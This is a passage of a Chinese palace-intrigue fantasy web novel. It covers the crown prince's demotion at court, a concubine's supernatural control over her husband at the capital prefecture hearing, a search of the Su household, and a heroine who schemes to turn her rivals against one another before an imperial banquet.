所有人都像是被扼住了喉咙,脸上充满了极致的震惊与荒谬!
赵悉抬起眼皮,目光平静地看向脸色煞白的太子,语气带着一丝冰冷的嘲讽:
“试问,一个早已不能人道的阉宦,若非受人指使,他半夜潜入郡公府内院,既不图财,也不好色……究竟意欲何为呢?”
太子只觉一股寒气从脚底直冲天灵盖!
直到今晨,灵峰迟迟未归,他已有不妙预感,金銮殿上听赵悉所言,他心中亦早有应对之策。
但谁能想到,灵峰的尸身竟未曾被毁!且听赵悉所言,如今还好端端地躺在京兆府验尸房内!
有那么一瞬,太子内心的慌乱几乎要冲破他精心维持的镇定。
他猛地跪倒在地,对着皇帝颤声道:“父皇!儿臣……儿臣实在不知灵峰为何会这般行事!儿臣从未察觉!儿臣冤枉啊!”
他猛地抬头看向赵悉,素来温润的双眸透出几分决绝之意,几乎是咬着牙道:“赵大人若执意认定是儿臣指使,不如……不如这就派人进东宫,详查!细查!
儿臣愿意配合,以证清白!”
他这是在以退为进,赌皇帝不会轻易让人搜查东宫,动摇国本。
赵悉心中冷笑。他当然想进东宫好好探查一番!别的不说,只要带上云昭,他就不信查不出那些阴私勾当!
但当着皇帝和满朝文武的面,他绝不能表现得迫不及待想去搜查东宫,否则,得罪太子事小,若是因此惹恼皇帝,实属不智!
赵悉身为世家子弟,自小父亲、叔伯、兄长,陆续战死,对于皇室与皇权,他从没有那么天真,认为仅凭灵峰一具死尸和几句指控,就能当众扳倒经营多年的太子。
他今日来,明摆着就是给皇帝上眼药的!
他就是要当众撕破太子那层伪善的假面,将他皮囊下的龌龊与狠毒暴露在众人眼前!
怀疑的种子一旦埋下,落在皇帝和朝臣心中,自然会生根、发芽。
而他等的,就是皇帝忍无可忍、太子失去圣心,再与秦王萧启联手,给予太子致命一击!
殿内再次喧哗起来:
“东宫储君,国之根本,若因一个阉宦之事就大动干戈,像什么样子!诸位别忘了,前朝太子两立两废,最终落得何等惨烈后果!”
“非也!既然事有蹊跷,涉及储君清誉与朝廷法度,自然要一查到底!岂能因太子身份贵重,便含糊过去?”
这时,素以刚直闻名的御史中丞方大人出列,肃容道:“陛下,臣今日尚未入宫,已在坊间听闻百姓议论纷纷,皆言昨夜京兆府夜半有人击鼓鸣冤,状告东宫侍卫。
月前青莲观少女失踪案,已闹得人心惶惶,京城不安。
如今又出此事,若朝廷不能查明真相,恐怕流言愈演愈烈,不仅损害太子清誉,更会动摇百姓对朝廷法度的信心啊!”
荣太傅则面色凝重地捋须道:“陛下,朱玉国的国书是一个月前寄出的,算算日子,其公主与皇子率领的使团,这两日便该抵达京师。
若在此期间,朝廷因搜查东宫而闹得沸沸扬扬,恐怕……有损国体,让外邦看了笑话。”
皇帝端坐于龙椅之上,面色阴沉如水,目光深冷地看了跪在地上的太子一眼,内心只觉得一股邪火蹭蹭往上冒!
成事不足败事有余的东西!
他不由想到今日常玉从东宫回来复命时,曾隐晦提过一句,说太子瞧着气色似乎不大好,精神也有些萎靡。
当时他并未多想,可如今,皇帝转瞬便明白了——
只怕那时,太子正因灵峰失踪而焦虑难安呢!
废物!蠢货!皇帝在心中怒骂。
若你真心悦那李扶音,堂堂正正向朕求娶便是!朕难道还会不允?
堂堂一国储君,心悦一个女子,竟要用这等下三滥的龌龊手段!用了也就罢了,竟还被人当场拿住把柄,闹到金殿之上!实在是愚蠢透顶!不堪大用!
皇帝目光扫过群臣,最终落在一直静立旁观的萧启身上:“渊儿,此事……你有何见解?”
萧启上前一步拱手道:“陛下,此事牵涉东宫与郡公府,臣恐惹非议,不便多言。不过——”
他话锋一转,“赵大人身为京兆尹,接到报案后通宵达旦,兢兢业业查办案件,是为了维护京师治安,给受惊的百姓一个交代。
而扶舟公子关心妹
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妹,拳拳之心,天地可鉴,若此事不给李家一个明确的说法,恐怕也难以平息物议,安抚人心。”
就在这时,李扶舟仿佛再也支撑不住,身体晃了晃,挣扎着想要站起身,却猛地咳嗽起来!
他以袖掩口,待放下时,袖口赫然染上一抹刺目的鲜红!
“陛下……臣知道此事让陛下为难了。是臣无用,对不起死去的母亲,未能护好家门……”
话音未落,人已软软地向后倒去,幸得身旁内侍急忙扶住。
“快传御医!”
皇帝眼见此景,再想起太子那不成器的样子,心中怒火与失望终于达到了顶点!
他猛地一拍龙案,站起身,厉声道:“太子御下不严,纵容恶奴行凶,险些酿成大祸!更兼品行有亏,德行有失,着即——
革去太子监国之权,罚俸一年!文昌大典期间,所有事务,暂交秦王协理!”
这惩罚,虽未动太子储君之位,却实实在在地分了他手中权力,让其在朝臣面前威严扫地!
事实上,本朝太子这监国之权,名头听着显赫,实则远不及历朝历代东宫储君所掌的实权来得厚重。
且太子终究揽得部分政务,也不过是大约三年前才开始的——
恰恰是在萧启从边关退回、重伤濒死之后的事。
如今,皇帝竟当着百官的面,堂而皇之地将这份特权收回,还转交给了萧启!个中深意,由不得人不多想。
太子跪在冰冷的地面上,紧咬牙关,叩首谢恩:“儿臣……领旨谢恩!”
散朝后,群臣神色各异,彼此交换着心照不宣的眼神,三三两两地离开。
皇帝今日竟让秦王协理大典之事,实在意味深长。
今日这场大戏,足以让很多人重新审视东宫与秦王的势力消长。
皇帝看着被御医掐人中救醒、依旧虚弱不堪的李扶舟,心下恻然,当即表示要派太医院院正亲自陪同回府诊治,所用药材皆由内库支取。
又带着几分责怪道:“丹阳郡公也是,府中出了这等事,怎还舍得让你这病弱之躯进宫?”
李扶舟气息微弱地回道:“回陛下……此事,臣还不敢告知父亲。父亲近来旧疾复发,身体每况愈下,臣怕他听闻此事,急怒攻心,身子更加不堪……”
皇帝一听,更是觉得李扶舟孝心可嘉,识大体,顾大局。
丹阳郡公前些日子才上了认罪自陈的折子,皇帝是不可能在此时赏赐李家的,但嘉赏县主,聊作安抚,却是无妨。
他当即下旨:“宜芳县主李扶音,端庄娴雅,特晋为宜芳郡君,赐珍珠十斛,宫缎二十匹,以示安抚。”
……
回想起当时在朝堂,目送着太子狼狈退去的身影,萧启不禁弯了弯唇。
太子此前形象完美无瑕,纵然与陛下有些父子间的龃龉,也从未像近来这般,接二连三地出事,惹得皇帝如此厌烦。
想到此,他不由下意识地看向身旁的云昭,这一切的转折,似乎都从她踏入这京城开始……
而云昭听完萧启转述,犹在沉思。
门外传来轻轻的敲门声,雪信匆匆走进,带来一封信笺,低声道:“姑娘,是赵大人派人送来的。”
展开,上面是赵悉熟悉的笔迹。
姜氏父子强撑病体前来,并带来梅氏身契,扬言要当着本官的面,立下“放良书”并“逐出宗族”文书,驱逐梅氏。
字条末尾,赵悉笔带戏谑道:好戏即将开场,姜司主可愿前来一观?
第166章 将恶妇梅氏逐出姜家!
云昭自京兆府侧门悄无声息地步入,身形灵巧地隐入公堂一侧设立的高大屏风之后。
这道屏风形制颇为特殊,也就是赵悉这等家底深厚的世家子,才能从自家私库里,将这件名为“窥天鉴”的宝贝扒拉出来,堂而皇之地用在公堂之上。
此物玄妙在于,从云昭所处的这一侧望去,公堂之上的情形,包括每个人的细微表情,皆清晰可见;
而公堂那一侧望过来,却只能见到一道密不透风的屏风,绝难窥见其后分毫。
几日不见,公堂之上的梅柔卿早已不复往日风采。
她披头散发,身上那件囚服污秽破烂,沾满了草屑与不明污渍。
脸上脂粉残褪,露出底下的憔悴与惊惶,整个人如同被狂风骤雨摧折过的花朵,只剩下狼狈与枯槁,哪里还有半分从前的优雅滋润?
而站在她对面的姜世安与姜珩父子,情形也好不到哪里去。
两人皆是面色蜡黄,冷汗涔涔,互相搀扶着才能勉强站立。
偏偏赵悉促狭,故意扬声道:“来人,给姜大人看座。”
姜世安脸色一阵青白交错,僵硬地摆手谢绝:“多谢赵大人好意,下官……下官坐不得。”
他从袖中取出一式两份的文书:“大人容禀。前日惊闻府中妾室梅氏,竟胆大包天,勾结邪师,意图戕害苏府公子,其心歹毒,令人发指!
下官回去后,辗转反侧,痛定思痛,深感治家不严之过!
为肃清门楣,以正视听,下官今日特此立下‘放良书’与‘逐出宗族’文书,将此恶妇放还良籍,并逐出姜氏宗族!
从此,梅氏生死荣辱,与我姜家再无半分瓜葛!望大人明鉴!”
梅柔卿起初只是恍恍惚惚地听着,待听明白姜世安是要将她彻底抛弃时,先是愣住,随即仰头爆发出一阵凄厉而癫狂的大笑!
她猛地伸手指向姜世安,眼中充满了怨毒与嘲讽:“姜世安!你忘了你是靠着谁,才有了今日的富贵前程?
若非我梅柔卿,你一个寒门学子,焉能有资格站在这京城之地,穿着这身官袍?!”
“卿卿!”姜世安被当众戳中痛处,脸上伪装的悲悯几乎挂不住。
他深吸一口气,脸上堆起虚伪的痛惜与无奈:“卿卿……为夫也是无法啊!
你这两日不在府上,不知府中已是天翻地覆!
陛下震怒,已下旨申饬,夺了我的礼部尚书之职!我还生生挨三十廷杖!
就连我们的心儿,都被强行带去了玄都观,关在不见天日的黑屋里,侍奉太后娘娘!
如今咱们府上,实在经不起任何风浪了!况且……你那晚私自出府,行迹鬼祟,人证物证俱在,为夫纵然有心,也无力回天啊!”
梅柔卿越听,脸色越是惊骇剧变,她猛地抓住姜世安的衣角,急切追问:“你说什么?心儿她到底怎样了?!”
见梅氏如此反应,一直沉默的姜珩眸中闪过一丝复杂难明的怜悯:“梅姨娘,一切都是因你向太后娘娘献上的‘太岁肉’。
若非玉衡**及时出手,识破其中关窍,你恐怕早已酿下弥天大祸!
陛下有旨,让妹妹将功折罪,好生侍奉太后娘娘。”
“太岁肉?玉衡**是这么说的?”梅柔卿的脸色瞬间变得极其古怪。
屏风之后,云昭目不转睛盯着梅柔卿脸上每一丝细微的表情变化,不肯错过分毫。
“正是如此。”
姜世安看着梅柔卿伏低着头,从那散乱发丝间,看到她脖颈上若隐若现的“囚”字烙印,眼底飞快地掠过一丝嫌恶。
他俯身蹲下,故作情深地轻拍了拍梅柔卿冰凉的手:“卿卿,今日之事,你莫要怪我。你让心儿献上太岁肉,太后念你有功,本是打算厚赏的。但阿昭她……”
他故意含糊其辞,隐去了当日是他们对宣旨太监无礼才招致祸端的真相,轻飘飘地将所有仇恨的矛头,精准地引向了云昭。
梅柔卿眼中恨意滔天,几乎是从齿缝里挤出那个名字:“姜、云、昭……!”
随即,她猛地抬起眼,死死盯住姜世安:“姜郎,你当真……舍得将我逐出姜府?弃如敝履?”
姜世安与她执手,努力做出泪眼朦胧的深情状:“卿卿,我实在是没有办法了啊!
若你有朝一日,能有运气走出这大牢,为夫必定八抬大轿,风风光光、堂堂正正迎你入门!”
梅柔卿幽幽地盯着他,下一刻,她舌尖猛地一咬,竟当场将一口殷红的鲜血,狠狠喷吐在姜世安的脸上!
“你——!”
姜世安被这突如其来的袭击惊得豁然起身,指着梅柔卿正要唾骂,脸色却骤然僵住!
只见他眼神中的愤怒,迅速被一种空洞和迷茫取代,身体晃了晃,仿佛有什么东西在他体内被骤然唤醒、催动!
梅柔卿仰起那张沾染血污却更显妖异的脸。
她的眉眼如淬毒的钩子,紧紧锁住姜世安,声音带着一种诡异的魅惑:“姜郎……妾身,真真是冤枉的啊!
姜郎看在往日情分的面上,不要撵妾身走!”
姜世安身体晃了晃,随即在所有人惊愕的目光中,“噗通”一声,直挺挺跪了下去!
他与梅柔卿面对面,语气变得异常温柔:“不走!不走!我怎么会舍得撵你走!卿卿,是我糊涂!是我混账!”
梅柔卿嘴角勾起一抹阴冷的笑意,继续蛊惑道:“还请姜郎帮我斡旋。妾身是冤枉的,姜郎一定要救我离开这鬼地方啊!”
“救!一定救!我这就去求陛下!我去敲登闻鼓!”
姜世安忙不迭的答应,那模样与片刻前判若两人,透着一种令人毛骨悚然的怪异与违和。
这诡异
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至极的一幕,让站在咫尺的姜珩看得目瞪口呆,一股寒意从脚底直窜头顶!
他亲眼看着父亲前一刻还冷酷绝情,下一刻却因梅氏一口血就如中了邪一般,变得痴傻顺从!
屏风后,云昭盯着姜世安后脖颈皮肤之下,宛如活物般游走的黑色丝线,心中了然——
当日从梅氏房中搜出的两个已然空了的盒子,一个用在了太后身上,而另一个,想必正是用给了姜世安!
她盯着公堂上那对“情比金坚”的怨侣,眼底忍不住闪过一抹嘲弄。
姜世安这等道貌岸然、贪婪自私的**子,合该由梅柔卿这种心狠手辣、精通邪术的毒妇来收拾!
就在这时,公堂外忽然传来一阵急促的脚步声。
来人一身宫装,神色倨傲,乃是孟贵妃身边的心腹大宫女锦屏。
她环视堂上,扬声道:“奉贵妃娘娘口谕,宣梅氏即刻入宫觐见!”
赵悉眉头皱起:“梅氏乃京兆府羁押之人,无陛下明确旨意,任何人不得私自提走!”
锦屏身后,一道高大身影缓缓步走出。
孟峥眼神睥睨,目光扫过赵悉,如同看着蝼蚁:“本将军今日就是要将人带走,你待如何?!”
屏风后,一直静观的萧启见状,周身气息一冷,正要起身出面。
云昭却迅速抬手,轻轻按住了他的手背,对他微微摇头。
她的目光,落在孟峥那张嚣张的脸上,只见其眉宇间已缠绕上一丝灰败死气。
他身上那阴毒无比的白骨咒,已然开始发挥作用了!
若她所料不差,他方才入宫觐见,这诅咒的厄运气息,恐怕也已如同瘟疫般,悄然沾染到了与他血脉相连的孟贵妃身上!
一个大胆的计划瞬间在云昭脑中成型。
她快速取过旁边书吏桌上的纸笔,唰唰写下一行小字,折叠后递给身边一名衙役,示意他立刻转交给屏风外的赵悉。
而与此同时,孟峥神情慵懒从怀中取出一块金光闪闪的令牌,在赵悉面前一晃:“见此令牌,如陛下亲临!”
“莫说你们如今并无确凿证据定梅氏的罪,即便她真是十恶不赦的重犯,我孟峥今日说要带走,就一定能带走!”
云昭心中冷笑,主意已定。
她深知梅氏对姜绾心的在意,更清楚,一旦让梅氏知晓孟贵妃与太子那见不得光的私情,以梅柔卿睚眦必报的性情,会做出怎样疯狂的反扑!
那晚余氏与徐莽出现在公堂,以梅氏的玲珑心思,想必已然猜到了七八分。
那么,她何妨再暗中添上最后一把火,让梅氏“意外”得知,孟贵妃肚子里那个被寄予厚望的龙种,实则也是太子的血脉?
届时,为了保住姜绾心未来的地位,梅柔卿绝不会让孟贵妃和她腹中的孩子好过!
狗咬狗的好戏,才刚刚开始。
第167章 神志不清,形同废人
半个时辰前。苏府,松鹤堂正厅。
屋内气氛凝重得如同结了一层冰。
苏文正端坐在上首的太师椅上,面沉如水,握着扶手的手指因用力而微微泛白。他方才听到的话,仿佛还在耳边嗡嗡作响。
“你——”他目光如炬,直射向坐在下首右侧、一脸不以为然的苏老夫人,“再说一遍!”
苏老夫人倚在那张铺着厚厚锦垫的圈椅里,闻言眼皮都没抬一下,只是不耐烦地嘟囔道:“就是我方才说的那样。那姜云昭,你绝不能认回苏家!”
苏老爷子胸膛微微起伏:“为何?”
苏老夫人终于忍不住侧过头:“我说的还不够清楚吗?那丫头性子跋扈强硬,目无尊长!
昨日你是没瞧见,她竟纵容手下那些粗鄙的暗卫,当众掌掴薇薇!
更是当着府中上下仆妇的面,顶撞于我,半分颜面都不留!
听说她自幼在那等山野之地长大,缺乏教养,回到京城后,更是将姜府搅得天翻地覆,鸡犬不宁!
要我说,这丫头哪里是省油的灯?分明就是煞星转世,谁沾上谁倒霉……”
一旁的苏凌岳忍不住开口辩解:“母亲!云昭那孩子脾气是刚硬了些,可昨日之事,起因也是静薇她们言语挑衅在先,并非您说的这般……”
“你给我住口!”苏老夫人猛地打断他,怒其不争地瞪了一眼自己这个性子绵软的长子。
“你总是胳膊肘朝外拐!说话前,先想想你媳妇都被那煞星打成什么样了!”
她忽而想起什么,环顾四周,“薇薇呢?怎么不见她过来?脸上可还肿着?”
苏凌岳回想起今日清早,妻子林静薇背对着自己躺在床上,无论他如何询问都一言不发、肩膀微微耸动的模样,脸色一时有些难看。
苏老夫人见状,更是气不打一处来,对身旁的心腹婆子吩咐道:“去,把大夫人请过来。也让老爷子好好瞧瞧,他那好外孙女,下手有多狠辣!”
苏老爷子淡声开口,声音里透着一丝疲惫与心寒:“你绕了这许多弯子,说了这许多不是,归根结底,就是不想认回**、还有云昭那孩子。”
苏老夫人神色一僵,随即又道:“事情已经过去那么些年了。
这些年彼此全无往来,形同陌路。你如今突然说要认回,也得看看人家愿不愿意领你这个情!”
“云昭一而再地出手相助,救我于危难,帮衬书院,这就是最好的证明!她心里,并非没有苏家,没有我这个外祖父!”
苏老爷子语气转厉,他转过脸,目光沉凝看向相伴数十载的老妻,“倒是你……这些年,你对**,就当真没有半分母女之情?半分也不曾念及吗?”
苏老夫人垂着眼,避开了他的视线,指尖一颗接一颗地捻着佛珠,沉默以对。
那怎么能一样?
她娘家弟弟命苦,去得早,就留下薇薇这么一颗独苗,自小养在她身边,贴心又乖巧。
她若不好好疼爱,薇薇在这世上还能依靠谁?
**虽是她的亲生女儿,可她姓苏,是苏家的嫡女;
而薇薇,和她一样,都姓林,是林家的血脉!
是她在苏家这深宅大院里,真正血脉相连的娘家人!
更何况,**的性子半点也不像她,那清冷的眉眼,倨傲的气度,反倒像极了她那个早已去世的婆母!
从小到大,她就只爱看书、**字,摆弄那些男子喜欢的策论文章!看她的眼神都带着疏离,仿佛她这个做母亲的欠了她什么似的!
反倒是将薇薇养在身边这些年来,嘘寒问暖,承欢膝下,才让她真正体会到了什么叫母女情深,什么叫天伦之乐!薇薇才是她的心头肉!
苏老爷子见她这副油盐不进的模样,心知再说无益,索性撑着扶手站起身:“我说这些,不是为了和你商量,只是告知于你。”
就在这时,林静薇低着头,跟在去唤她的婆子身后,脚步轻轻地走了进来。
她脸上敷了厚厚的粉,却仍能隐约看到脸颊处不自然的红肿,含着水光的眼神透着浓重的委屈。
还未等林静薇开口请安,就听苏文正的声音清晰地传遍整个松鹤堂:“**母女,我一定会认回来!此事,绝无转圜余地!”
他抬起眼,目光扫过刚进门的林静薇:“家里,往后谁再敢口出狂言,不必等旁人动手,先行家法处置!”
这番话如同惊雷落地,斥得林静薇脸色一白。
正说话间,府门外忽然传来一阵急促而粗暴的砸门声,伴随着厉声呵斥:“开门!速速开门!”
那动静极不客气,带着一股官家特有的蛮横。
苏府上下俱是一惊,面面相觑。
苏文正眉头紧蹙,拄着拐杖,率先沉着脸走了出去。
苏老夫人、苏凌岳、林静薇以及一众闻声而来的苏家人也连忙跟上。
沉重的大门“吱呀”一声被打开,只见门外肃立着一队身着玄甲、煞气凛然的兵士。
为首者是一名身形高大、脸色冷肃的将领,正是秦王萧启麾下的亲信副将,李崇。
李副将目光如电,扫过苏家众人,抱拳行礼:“奉秦王殿下之命,查办‘桃花咒’一案!
据查,此案与一尊名为‘桃花仙人’的邪物供奉有关。
为彻查真相,需对京城各勋贵府邸进行排查,查验是否有人私设淫祀邪坛!
贵府亦在核查之列,还请苏山长及诸位配合!”
“桃花咒”的案子近来在京城闹得沸沸扬扬,无人不知。
受害最深的那位南华郡主,至今仍瘫卧在床,神志不清,形同废人,此事在贵女圈中引以为戒,谈之色变。
苏家一众女眷听了这话,脸上顿时露出惊疑不安的神色,纷纷低声窃语,目光不由自主地在彼此脸上扫过,生怕与那邪门的东西扯上关系。
李副将再次朝苏文正拱了拱手,语气公事公办:“苏山长,职责所在,得罪了。此番排查乃例行公事,并非针对贵府一家,还望海涵。”
苏文正脸上并无被冒犯的不悦,他捋了捋胡须,神色坦然:“秦王殿下心系百姓,铲除邪佞,老夫自当配合。李副将,请便。”
他侧身让开道路,并对身后的管家吩咐道,“引军爷们进去,各院皆需仔细查看,不得有任何阻拦隐瞒。”
“是,老爷。”
李副将带来的兵士训练有素,在苏府管家的陪同下,效率奇高地分头行动,逐一搜查各房各院。
然而,一番仔细盘查下来,竟是一无所获,并未发现任何与“桃花仙人”相关的物事。
李副将面色平静无波,带着手下重新**到前院。
他的目光再次扫过苏家每一张或紧张、或茫然、或故作镇定的面孔,并未在任何一人脸上多做停留。
他朝苏文正再次抱拳:“多谢苏山长深明大义。打扰之处,还望见谅。告辞。”
目送着李副将一行人干脆利落地转身离去,身影消失在巷口。
苏府管家这才擦了擦额角的冷汗,急切地转向苏文正和老夫人,声音带着惶恐:“老爷,老夫人!方才……方才去查二房的院子,二房竟然空无一人!
二夫人……和她身边的朱嬷嬷、以及几个贴身的丫鬟婆子,竟都不知所踪!”
“什么?!”
苏府上下这才后知后觉地发现,二房主母王氏,竟在他们所有人的眼皮子底下,悄无声息地带着心腹离开了府邸!
而站在人群之中、身为王氏亲子的苏惊墨,竟从始至终,一言不发,神色平静得近乎异常。
此事在看似平静的苏家中投入了一块巨石,瞬间掀起轩然大波!
大房与二房之间勉强维持的平和假象被彻底撕破,个中种种纷扰,暂且按下不表。
且说李副将率人急匆匆离开苏府后,并未耽搁,立刻快马加鞭赶往京兆府,欲向秦王和云昭复命。
表面上,这趟苏府之行一无所获,林
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氏那间设有小佛堂的静室内,并无什么墨玉雕成的“桃花仙人”。
然而,在那张用来供奉的紫檀木案几之上,李副将发现了一处极其细微却无法忽视的痕迹:
案几中央,有一块区域的尘埃印记与周围颜色、厚度明显不同。
其轮廓清晰,远大于如今案几上供奉着的那尊普通白玉观音像的底座大小。
也就是说,那案桌之上,确实曾长期供奉过另外一尊体积更大、形制不同的雕像。
但不知为何,就在近期,那尊雕像被悄然移走,替换成了现今这尊白玉观音。
*
步入公堂,李副将悄然走到屏风后,立于云昭身畔。
公堂之上,赵悉不动声色地展开那张由衙役递来的小笺,上面是云昭清隽却有力的字迹:
「放线,钓鱼。」
虽只有短短四字,赵悉却瞬间心领神会。
确实,他们手上并无实证,一直强行扣押着梅氏,也没什么好处。
既然是布局垂钓,有时松一松鱼线,让鱼儿自以为挣脱,反而能在其放松警惕、游向更深更远处时,钓出真正的大鱼!
故而,他只盯着孟峥手中那面玄铁令牌看了片刻,旋即神色一松:“大将军竟有陛下亲赐的令牌,怎么不早说?倒显得我不懂事儿了。”
他话锋一转,似笑非笑道:“不过,回春堂一案牵涉甚广,陛下曾亲自过问,责令京兆府严查。
今日大将军执意要将梅氏带走,赵某职责所在,须得即刻面呈陛下,将个中缘由据实禀明。”
孟峥脸色阴沉得几乎能滴出水来。
他当然知道此举会引来皇帝的不快与猜疑,但想到今日入宫觐见时,阿姊那副面色苍白、气息不稳的模样,他便将心一横,也顾不得那许多了!
左右阿姊和她肚子里的孩儿必须保全!
既然这梅氏有几分真本事,为了阿姊,暂且保下她又何妨?
即便陛下事后知晓,知道他孟峥是为了保全贵妃和皇嗣,想必也不会过多苛责!
毕竟,陛下对阿姊的宠爱,以及对子嗣的看重,数年不衰,朝野皆知!
想到这里,孟峥心中稍定,冷哼一声:“随便你!”
说罢,示意手下亲兵上前,准备带走梅柔卿。
姜家父子二人,今日强撑着来到公堂,本是打定主意要与梅氏彻底切割,以求自保。
却万万没想到,事情竟会有如此峰回路转、匪夷所思的走向!
梅氏非但没被贵妃放弃,反被权势滔天的孟大将军亲自出面保下?
父子二人面面相觑,又在对方眼中同时看到了一丝庆幸与狂喜!
梅柔卿此时心头涌起的,却是滔天的恨意与更加炽烈的野心!
她恨姜云昭突然归来,一次又一次地破坏她苦心经营多年的计划!
更恨苏氏那个**,借势逼她只能以妾室身份委身姜世安,在满城勋贵面前颜面尽失!
她的心儿,必须要当上太子妃!
那是她们母女唯一的出路,也是她梅柔卿翻身的最大筹码!
而她自己,也必须要坐上姜家主母之位!
哪怕姜家如今已非昔日光景,哪怕只能做个续弦的继室,她也不怕!
只要她还能出去,只要她能想办法与薛先生恢复联系,她能扶姜世安当上礼部尚书一次,就能想办法再扶他第二次!
这次,她必须翻盘!
屏风之后,云昭清晰地捕捉到了梅柔卿眼中那不顾一切的狠绝与野心。
她知道,梅氏一旦脱困,必定会想方设法攀附上孟贵妃这棵大树,并以此为依仗,重新杀回姜家,巩固她的地位。
而这,正是云昭所乐见的。
她希望姜家这些自私自利、满手肮脏的人,能牢牢地抱在一起,彼此纠缠,彼此利用,也彼此祸害!
谁也别想轻易甩脱谁,谁也别想独善其身!
只有这样,等到大厦倾覆的那一天,才能让他们哭天抢地,求救无门!
第168章 舞姬是姜绾心!
眼见梅柔卿理了理散乱的鬓发,努力挺直了脊背,跟在孟峥身后,一步步走出京兆府公堂……
姜家父子如梦初醒!
二人努力想要跟上,却陡然意识到今非昔比,陛下虽有重新起复之意,到底没有恢复他二人官职。
想追上去,有何缘由?凭何身份?
父子二人哪怕心急如焚,最终也只能步履蹒跚,相携着回到姜家。
待那几人身影消失,赵悉立刻凑到屏风后,追问云昭:“小姑奶奶,你这葫芦里到底卖的什么药?好歹也透个底儿,让我心里有个数啊!”
云昭先看向萧启:“殿下,关于柔妃娘娘的事,赵大人可知晓内情?”
萧启颔首:“知道一些。”
提起柔妃,萧启与赵悉交换了一个眼神,彼此眼中都掠过一丝复杂难言的情绪。
云昭对赵悉道:“既然如此,就劳烦赵大人稍**宫面圣时,想办法帮我给柔妃娘娘递个信儿。只需告诉她——
梅氏今日入宫见贵妃,事关太子,梅氏应该知道些什么,就看柔妃娘娘都透露些什么了。”
她相信,以柔妃的聪慧与在宫中的经营,自然知道该如何应对。
云昭又问:“玄都观那边,今日情形如何?”
说到这个,赵悉立刻来了精神:“这个我清楚!今日天还没亮透,玄都观外就排起了长龙!
普通百姓去的倒不算多,但京城最不缺的就是豪富权贵!
各府的管家、嬷嬷、小厮,一大清早就被派去占位置!
听说那些手串卖得极火,价格还被炒高了不少。
接下来一段时间,这玄都观的手串,怕是要在京城勋贵圈子里风靡好一阵子了。”
云昭闻言,并不意外,反而对赵悉道:“烦劳赵大人派人去买几条手串回来。至于赵大人想要的符箓,我会绘制几张,先用着试试看。”
赵悉惊喜道:“几条破手串就能换得让我更聪明的灵符?这买卖也太划算了!放心,我明日一早就让他们排队去买!”
他府上女眷众多,抢购采买这等事,还不是手到擒来!
“姜绾心必不会甘心一直被关在玄都观。”云昭这时道,“殿下,我想请你往玄都观传个消息。”
“传什么?”
云昭唇角勾起一抹意味深长的笑:“就将昨日灵峰夜闯郡公府,以及太子因此被陛下申饬、暂**柄的消息,一字不落地传递给她。
再让她清楚知道,咱们这位太子殿下,如今为了稳固地位,正一心想要求娶南华郡主呢!”
赵悉倒吸一口凉气:“你别说!以萧鉴那德性,娶南华郡主这事儿,他真做得出来!”
萧启也道:“这个不难。本王自有办法让她‘恰好’知道得一清二楚。”
云昭微微颔首。
太子两世都那般看重姜绾心,必定是要娶她的;而姜绾心做梦都想登上太子妃的宝座,将她云昭踩在脚下!
既然郎有情、妾有意,她为何不成全了这对有情人?
恰逢文昌大典在即,京城名流荟萃,正是万众瞩目之时。
届时,她定要让姜绾心以最出名的方式,当着众人的面,成为东宫太子最为爱重的——
妾室!
然而即便是云昭本人也未曾料到,就在次日的麟德夜宴上,姜绾心竟做出了比她预想的更为大胆、也更为愚蠢的举措。
更令云昭未曾想到的是,她竟会因朱玉国使臣的到来,阴差阳错之下,见到自己的亲生兄长!
*
出乎所有人意料的是,朱玉国的使臣队伍,竟比预定的日期提前了整整三日抵达盛京。
消息传来,宫中上下匆忙准备。仓促之间,一场盛大的夜宴在皇宫内最为宏伟的麟德殿紧急筹备开来。
是夜,麟德殿内外灯火璀璨,宫门外的广场冠盖云集,车马络绎不绝。
满京城的勋贵宗亲、文武重臣及其家眷,皆按品阶盛装出席,一派天朝上国的繁华气象。
宫门处,禁卫森严,对所有入宫赴宴之人皆需进行严格的查验。
云昭携母亲苏氏,随着人流缓缓前行。
“所有宾客,需确保安全,请配合查验。”
云昭神色自若地将药箱打开,里面整齐摆放着金针、药瓶等物。
那名眼生的女官声音平板道:“宫中规矩,为确保万无一失,此类物品不得带入大殿。药箱需留在此处保管,待宴席结束后凭牌领取。”
云昭闻言,面色不变,只淡淡道:“不必麻烦了。”
她从容地阖上药箱,递给了身后的雪信,同时指尖几不可察地一动,已将箱内那套最重要的金针与两只瓷瓶悄然滑入宽大的袖袋之中。
“雪信,跑一趟,将药箱放回马车上去。”
“是,姑娘。”雪信接过药箱,躬身退下。
那女官始终紧紧盯着云昭的一举一动,尤其是她拢入袖中的手,她正欲开口阻拦详查,就听身后传来一声娇柔的惊呼:
“哎呦——!”
众人回头,只见是新近被陛下嘉赏、风头正劲的宜芳郡君李扶音。
她脸上泛着恰到好处的桃红,语气带着几分天真与为难:“连姜司主的药箱都不能带,那我这盒胭脂……可能带进去补妆用?”
那女官的注意力被李扶音吸引,眉头皱得更紧,还未
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回答,旁边又响起一阵“噼里啪啦”的脆响!
只见李灼灼一脸不耐地将一把镶宝石的**、几枚小巧的飞镖暗器,以及一根缠绕着金线的软鞭,一股脑地扔在旁边的登记桌上。
她声音清脆,带着将门虎女的蛮横:“喂!这些东西,务必给本小姐保管好了!这可是我几个哥哥新给我搜罗来的宝贝,丢了一样,仔细你的皮!”
被李扶音和李灼灼这么接连打岔,那女官再回头时,云昭早已携着苏氏,步履从容地走进宫门之内。
拐过一道朱漆绘彩的廊庑,喧嚣稍减。云昭目光随意扫过一队正袅袅走远的舞姬。
苏氏见云昭似是好奇,便温声解释道:“那是准备跳拓枝舞的舞姬。
每逢迎接番邦使臣的国宴,拓枝舞与胡旋舞几乎是必跳的节目,以示我大晋对四方文化的包容。”
但云昭看的,却并非对方繁复的服饰,她的目光牢牢锁在了走在队伍最后方的那名女子身上。
与其他舞姬相比,那女子身形略显单薄,行走间的姿态似乎也带着一丝刻意模仿的僵硬。
但云昭对她太熟悉了——
那背影,那行走间的细微动作,尤其刚刚侧过脸时的轮廓……
是姜绾心!
她想过姜绾心在得知太子欲娶南华郡主的消息后,会想方设法出现在不久后的文昌大典上搅局;甚至也预料到,被变相软禁的太后很可能会按捺不住,在文昌大典露面施压。
却万万没想到,姜绾心竟然如此心急,如此胆大包天!
她等不及文昌大典,居然就敢冒充舞姬,混入这迎接朱玉国使臣的麟德夜宴!
正在这时,远远地,一阵香风袭来,伴随着内侍清道的低喝。
云昭抬眼望去,只见贵妃的仪仗正浩浩荡荡而来。
华丽御辇旁亦步亦趋跟着的,正是梅柔卿!
